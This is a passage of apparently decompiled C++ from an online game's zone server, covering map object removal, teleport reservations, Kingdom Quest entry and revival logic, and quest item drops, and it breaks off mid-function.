__thiscall AxialListObjectClear::_AxialListObjectClear(AxialListObjectClear *this) { AxialListNearGateFind *v1; // esi@1 v1 = (AxialListNearGateFind *)this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectClear::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListObjectClear::~AxialListObjectClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListObjectClear::~AxialListObjectClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListObjectClear::~AxialListObjectClear"); AxialListNearGateFind::_AxialListNearGateFind(v1); } // 647994: using guessed type int (__stdcall *AxialListObjectClear___vftable_)(int, int, int distancesquar); //----- (00483100) -------------------------------------------------------- #error "483100: undefined or illegal type '#593' (funcsize=44)" //----- (004831C0) -------------------------------------------------------- void __thiscall FieldMap::fm_ClearObject(void *this, unsigned int eraseflag) { void *v2; // esi@1 void *v3; // ecx@1 AxialListObjectClear aloc; // [sp+8h] [bp-14h]@1 int v5; // [sp+18h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_ClearObject"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_ClearObject"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; AxialListObjectClear::AxialListObjectClear(&aloc, eraseflag); v3 = (void *)*((_DWORD *)v2 + 12); LOBYTE(v5) = 1; ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&aloc, 1); LOBYTE(v5) = 0; AxialListObjectClear::_AxialListObjectClear(&aloc); --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_ClearObject"); } //----- (00483280) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_RetrateFromMap() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_RetrateFromMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_RetrateFromMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_RetrateFromMap", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_RetrateFromMap"); } //----- (00483320) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_RetreatFromMapByImmeditely(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_RetreatFromMapByImmeditely"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_RetreatFromMapByImmeditely"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1008))(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_RetreatFromMapByImmeditely"); } //----- (004833C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_RetrateFromMap(ShineObjectClass::ShineDropItem *this) { ShineObjectClass::ShineDropItem *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_RetrateFromMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDropItem::so_RetrateFromMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)&v1->sdi_ItemOnField.iti_registnum.binary.gap0[0] = -1; v1->sdi_ItemOnField.iti_registnum.binary._bf4 = -1; memset(&v1->sdi_ItemOnField.iti_itemstruct, 0, 0x64u); *(_WORD *)((char *)&v1->sdi_ItemOnField.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = 0; BYTE3(v1->sdi_ItemOnField.iti_itemstruct.itemattr.binditem.portal[9].y) = 0; v1->sdi_ItemOnField.iti_itemstruct.itemid = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_RetrateFromMap"); } //----- (00483440) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineEffectObject::so_RetrateFromMap(ShineObjectClass::ShineEffectObject *this) { ShineObjectClass::ShineEffectObject *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_RetrateFromMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineEffectObject::so_RetrateFromMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->seo_VanishTime = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_RetrateFromMap"); } //----- (004834A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_RetrateFromMap(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_RetrateFromMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_RetrateFromMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_BYTE *)v1 + 7428) |= 1u; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_RetrateFromMap"); } //----- (00483500) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_RetreatFromMapByImmeditely(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_RetrateFromMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_RetrateFromMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1008))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 828))(v1, 0, 1, 3); ShineObjectManager::som_FreeObject(&shineobjmanager, *((_WORD *)v1 + 2), 0, 100); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_RetrateFromMap"); } //----- (004835C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDoor::so_RetrateFromMap(ShineObjectClass::ShineDoor *this) { ShineObjectClass::ShineDoor *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_RetrateFromMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDoor::so_RetrateFromMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->sd_Retrate = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_RetrateFromMap"); } //----- (00483620) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_LinkToReserv(int lnkinf, char TryUntilSuccess) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LinkToReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_LinkToReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LinkToReserv"); } //----- (00483670) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_LinkToReserv(void *this, const void *lnkinf, char TryUntilSuccess) { int v3; // esi@1 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LinkToReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_LinkToReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)(v3 + 139490) = ShineObjectClass::ShinePlayer::sp_LinkReservStore(v3, lnkinf); *(_BYTE *)(v3 + 23352) |= 0x40u; *(_BYTE *)(v3 + 23353) ^= (TryUntilSuccess ^ *(_BYTE *)(v3 + 23353)) & 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LinkToReserv"); } //----- (00483740) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_TeleportReserv(int Location) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_TeleportReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_TeleportReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_TeleportReserv"); } //----- (00483790) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_TeleportReserv(void *this, int Location) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_TeleportReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_TeleportReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_BYTE *)v2 + 23353) |= 2u; *((_DWORD *)v2 + 34873) = *(_DWORD *)Location; *((_DWORD *)v2 + 34874) = *(_DWORD *)(Location + 4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_TeleportReserv"); } //----- (00483810) -------------------------------------------------------- void __thiscall KingdomQuestEntrance::kqe_sort(KingdomQuestEntrance *this, unsigned __int16 handle) { if ( handle < 0x80u ) qsort( this->kqe_entrancelist[handle].players, this->kqe_entrancelist[handle].joinnumber, 4u, KingdomQuestEntrance::kqe_Compare); else AssertClass::ac_AssertFail(&shineassert, "KingdomQuestEntrance::kqe_sort : Subscript over", handle); } //----- (00483860) -------------------------------------------------------- PROTO_NC_KQ_JOINER *__thiscall KingdomQuestEntrance::kqe_search(KingdomQuestEntrance *this, PROTO_NC_KQ_JOINER *key, unsigned __int16 handle) { PROTO_NC_KQ_JOINER *result; // eax@2 if ( handle < 0x80u ) { result = (PROTO_NC_KQ_JOINER *)bsearch( key, this->kqe_entrancelist[handle].players, this->kqe_entrancelist[handle].joinnumber, 4u, KingdomQuestEntrance::kqe_Compare); } else { AssertClass::ac_AssertFail(&shineassert, "KingdomQuestEntrance::kqe_search : Subscript over", handle); result = 0; } return result; } //----- (004838C0) -------------------------------------------------------- int __thiscall KingdomQuestEntrance::operator__(KingdomQuestEntrance *this, PROTO_NC_KQ_W2Z_START_CMD *kqstart) { KingdomQuestEntrance *v2; // ebx@1 unsigned __int16 v3; // cx@1 int v4; // ebx@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "KingdomQuestEntrance::operator []"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuestEntrance::operator []"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->kqe_Number.value = v2->kqe_Number.mask & (v2->kqe_Number.value + 1); v3 = kqstart->NumOfJoiner; if ( v3 > 0x64u ) { AssertClass::ac_AssertFail(&shineassert, "KingdomQuestEntrance::kqe_newentrance : Too many entrance", v3); v3 = 100; } v2->kqe_entrancelist[v2->kqe_Number.value].joinnumber = v3; v2->kqe_entrancelist[v2->kqe_Number.value].entrynumber = 0; memcpy(v2->kqe_entrancelist[v2->kqe_Number.value].players, &kqstart[1], 4 * v3); v4 = v2->kqe_Number.value; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KingdomQuestEntrance::operator []"); return v4; } //----- (004839E0) -------------------------------------------------------- void __thiscall KingdomQuestGate::KingdomQuestGate(KingdomQuestGate *this) { KingdomQuestGate *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x74u, 256, (void (__thiscall *)(void *))KingdomQuestGate::KingdomQuestGateKeeper::KingdomQuestGateKeeper, (void (__thiscall *)(void *))KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper); v1->kqg_keeperpoint.mask = 255; v1->kqg_keeperpoint.value = 0; } //----- (00483A20) -------------------------------------------------------- void __thiscall KingdomQuestGate::_KingdomQuestGate(KingdomQuestGate *this) { _eh_vector_destructor_iterator_( this, 0x74u, 256, (void (__thiscall *)(void *))KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper); } //----- (00483A40) -------------------------------------------------------- #error "483A40: undefined or illegal type '#593' (funcsize=313)" //----- (00483EC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // edx@1 int v6; // eax@1 unsigned int v7; // ecx@1 char *v8; // ecx@1 bool v9; // zf@1 int v10; // edi@8 KingdomQuest::KQElement *v11; // eax@8 int v12; // edx@9 char *v13; // [sp-4h] [bp-94h]@5 __int16 lsthnd; // [sp+10h] [bp-80h]@1 FunctionEntarance _; // [sp+14h] [bp-7Ch]@1 char lnkinf; // [sp+18h] [bp-78h]@9 int v17; // [sp+2Ch] [bp-64h]@9 int v18; // [sp+30h] [bp-60h]@9 int v19; // [sp+34h] [bp-5Ch]@9 char v20; // [sp+38h] [bp-58h]@9 int v21; // [sp+4Dh] [bp-43h]@9 int v22; // [sp+51h] [bp-3Fh]@9 int v23; // [sp+55h] [bp-3Bh]@9 char v24; // [sp+59h] [bp-37h]@9 unsigned int v25; // [sp+6Eh] [bp-22h]@9 unsigned int v26; // [sp+72h] [bp-1Eh]@9 unsigned int v27; // [sp+80h] [bp-10h]@1 int v28; // [sp+8Ch] [bp-4h]@1 v4 = this; v27 = (unsigned int)&lsthnd ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)v4; v28 = 0; v6 = (*(int (__thiscall **)(void *))(v5 + 1384))(v4); v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)v6; *((_DWORD *)v8 + 1) = *(_DWORD *)(v6 + 4); *((_DWORD *)v8 + 2) = *(_DWORD *)(v6 + 8); *((_DWORD *)v8 + 3) = *(_DWORD *)(v6 + 12); v9 = (_S22_9 & 1) == 0; v8[16] = 0; if ( v9 ) { _S22_9 |= 1u; cmc_56.cmc_AllowMode = 86; atexit(_E23_8); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_56.cmc_AllowMode && *(_BYTE *)(netcmd + 2) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1152))(v4) == 4 ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 1156))(v4); v10 = *(_DWORD *)(netcmd + 3) ^ (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 832))(v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 832))(v4); v11 = KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(&kqcontainer, v10, (unsigned __int16 *)&lsthnd); if ( v11 ) { v17 = *(_DWORD *)&v11->kqe_mapinfo[0].mapinfo.MapName.n3_name[0]; v18 = *(_DWORD *)&v11->kqe_mapinfo[0].mapinfo.MapName.n3_name[4]; v19 = *(_DWORD *)&v11->kqe_mapinfo[0].mapinfo.MapName.n3_name[8]; v21 = *(_DWORD *)&v11->kqe_mapinfo[0].mapinfo.MapBase.n3_name[0]; v22 = *(_DWORD *)&v11->kqe_mapinfo[0].mapinfo.MapBase.n3_name[4]; v23 = *(_DWORD *)&v11->kqe_mapinfo[0].mapinfo.MapBase.n3_name[8]; v24 = 0; v20 = 0; v25 = v11->kqe_mapinfo[0].mapinf->RegenX; v12 = *(_DWORD *)v4; v26 = v11->kqe_mapinfo[0].mapinf->RegenY; (*(void (__thiscall **)(void *, char *, signed int, signed int, signed int))(v12 + 1528))(v4, &lnkinf, 6, 9, 10); } v13 = "ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK"; } else { v13 = "ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK"; } --funcallanalizer.fca_stackpoint; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); __security_check_cookie((unsigned int)&lsthnd ^ v27); } //----- (004840D0) -------------------------------------------------------- #error "4840D0: undefined or illegal type '#1265' (funcsize=201)" //----- (004843E0) -------------------------------------------------------- int __thiscall KingdomQuest::KQElement::kqe_ReviveNumber(KingdomQuest::KQElement *this, char *revivehere) { KingdomQuest::KQElement *v2; // esi@1 int v3; // esi@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "KingdomQuest::KQElement::kqe_ReviveNumber"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KQElement::kqe_ReviveNumber"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *revivehere = 0; switch ( v2->kqe_kqinfo.baseclass_0.PlayerRevivalMode ) { case 1: v3 = 99999; *revivehere = 0; break; case 2: v3 = v2->kqe_kqinfo.baseclass_0.PlayerRevivalCount; *revivehere = 0; break; case 3: v3 = 99999; *revivehere = 1; break; case 4: v3 = v2->kqe_kqinfo.baseclass_0.PlayerRevivalCount; *revivehere = 1; break; default: v3 = 0; break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KingdomQuest::KQElement::kqe_ReviveNumber"); return v3; } //----- (00484490) -------------------------------------------------------- KingdomQuest::KQElement *__thiscall ShineObjectClass::ShinePlayer::sp_MyKQElement(void *this) { void *v1; // edi@1 int v2; // eax@1 unsigned int v3; // eax@3 KingdomQuest::KQElement *v4; // esi@4 KingdomQuest::KQElement *result; // eax@5 __int16 lsthnd; // [sp+8h] [bp-14h]@4 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v8; // [sp+18h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_MyKQElement"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MyKQElement"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MyKQElement"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); v8 = 0; if ( v2 && *(_DWORD *)(v2 + 12) && (v3 = *(_DWORD *)(v2 + 60), v3 != -1) ) { v4 = KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(&kqcontainer, v3, (unsigned __int16 *)&lsthnd); if ( v4 != 0 ) { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MyKQElement"); result = v4; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_MyKQElement : Cannot found KQ Element", *(_DWORD *)(*(_DWORD *)((char *)v1 + 98) + 60)); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MyKQElement"); result = 0; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MyKQElement"); result = 0; } return result; } //----- (004845D0) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownMinus(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum) { KingdomQuest::KQPlayerInform *v2; // esi@1 int v3; // edx@1 int v4; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpi_KnockDownMinus"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KQPlayerInfoList::kqpi_KnockDownMinus"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->kqpi_KnockDown - 1; v2->kqpi_KnockDown = v3; --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpi_KnockDownMinus"); return v4; } //----- (00484630) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownPlus(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum) { KingdomQuest::KQPlayerInform *v2; // esi@1 int v3; // edx@1 int v4; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownPlus"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownPlus"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->kqpi_KnockDown + 1; v2->kqpi_KnockDown = v3; --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownPlus"); return v4; } //----- (00484690) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownGet(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum) { KingdomQuest::KQPlayerInform *v2; // esi@1 int v3; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownGet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownGet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->kqpi_KnockDown; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownGet"); return v3; } //----- (00484700) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetBattleStat() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_GetBattleStat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_GetBattleStat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_GetBattleStat"); return &ShineObjectClass::ShineObject::so_DefBattleStat; } //----- (00484750) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_KQItemDrop(void *looter) { void *v1; // ebx@1 int v2; // edx@1 int v3; // eax@1 int v4; // ecx@1 int v5; // eax@2 int v6; // eax@6 const void *v7; // esi@7 ItemDataBox::ItemDataBoxIndex *v8; // eax@7 ItemInfoServer *v9; // eax@8 unsigned __int16 v10; // di@10 int v11; // ST18_4@10 CServerInfo::MY_SERVER *v12; // eax@10 int v13; // esi@10 char *v14; // edi@10 ItemAttributeClass *v15; // esi@10 int v16; // eax@10 int v17; // eax@10 int ibii; // [sp+10h] [bp-A8h]@1 char *v19; // [sp+14h] [bp-A4h]@1 int v20; // [sp+18h] [bp-A0h]@4 int v21; // [sp+1Ch] [bp-9Ch]@4 ShineMultiTypeHandle DropHandle; // [sp+20h] [bp-98h]@10 FunctionEntarance _; // [sp+2Ch] [bp-8Ch]@1 char item; // [sp+30h] [bp-88h]@10 unsigned __int16 itmid[2]; // [sp+38h] [bp-80h]@10 __int16 v26; // [sp+9Ch] [bp-1Ch]@10 char v27; // [sp+9Eh] [bp-1Ah]@10 char v28; // [sp+9Fh] [bp-19h]@10 unsigned int v29; // [sp+A4h] [bp-14h]@1 int v30; // [sp+B4h] [bp-4h]@1 int v31; // [sp+B8h] [bp+0h]@1 v1 = looter; v29 = (unsigned int)&v31 ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_KQItemDrop"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQItemDrop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_KQItemDrop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v30 = 0; v3 = (*(int (__thiscall **)(void *))(v2 + 1172))(v1); v4 = (int)((char *)v1 + 35680); ibii = (int)&ItemBoxIterator::_vftable_; v19 = (char *)v1 + 35680; if ( v3 ) v5 = (*(int (__stdcall **)(int))(*(_DWORD *)v4 + 4))(v3); else v5 = (*(int (**)(void))(*(_DWORD *)v4 + 8))(); v21 = v5; ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v30) = 1; v20 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { do { v6 = (**(int (__stdcall ***)(_DWORD))v19)(v20); if ( v6 ) { v7 = (const void *)(v6 + 8); v8 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v6 + 8)); if ( v8 ) { v9 = v8->dataserv; if ( v9 ) { if ( v9->KQ_Item_Drop ) { v10 = *(_WORD *)v7; v11 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v12 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&item, v10, 3, v12->nZoneNo, v11); memcpy(itmid, v7, 0x64u); v13 = (int)((char *)v7 + 100); v26 = *(_WORD *)v13; v27 = *(_BYTE *)(v13 + 2); v14 = &v28; v15 = ItemAttributeClassContainer::operator__(&itmattcontainer, itmid[0]); ShineMultiTypeHandle::ShineMultiTypeHandle(&DropHandle); ShineMultiTypeHandle::SetShineObject(&DropHandle, (#593 *)v1); LOWORD(v14) = *((_WORD *)v1 + 2); v16 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v17 = (unsigned __int8)ShineObjectClass::ShineObject::so_IsDropping( v1, &item, 1, &DropHandle, v14, v16, v15, 2); if ( !(_BYTE)v17 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_KQItemDrop : Drop fail", v17); } } } } } while ( ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ); } --funcallanalizer.fca_stackpoint; ibii = (int)&ItemBoxIterator::_vftable_; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQItemDrop"); } // 49B9B0: using guessed type int __thiscall ShineObjectClass__ShineObject__so_IsDropping(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00484970) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, KingdomQuest::KQPlayerInform *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x34u); return 1; } // 484985: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004849A0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 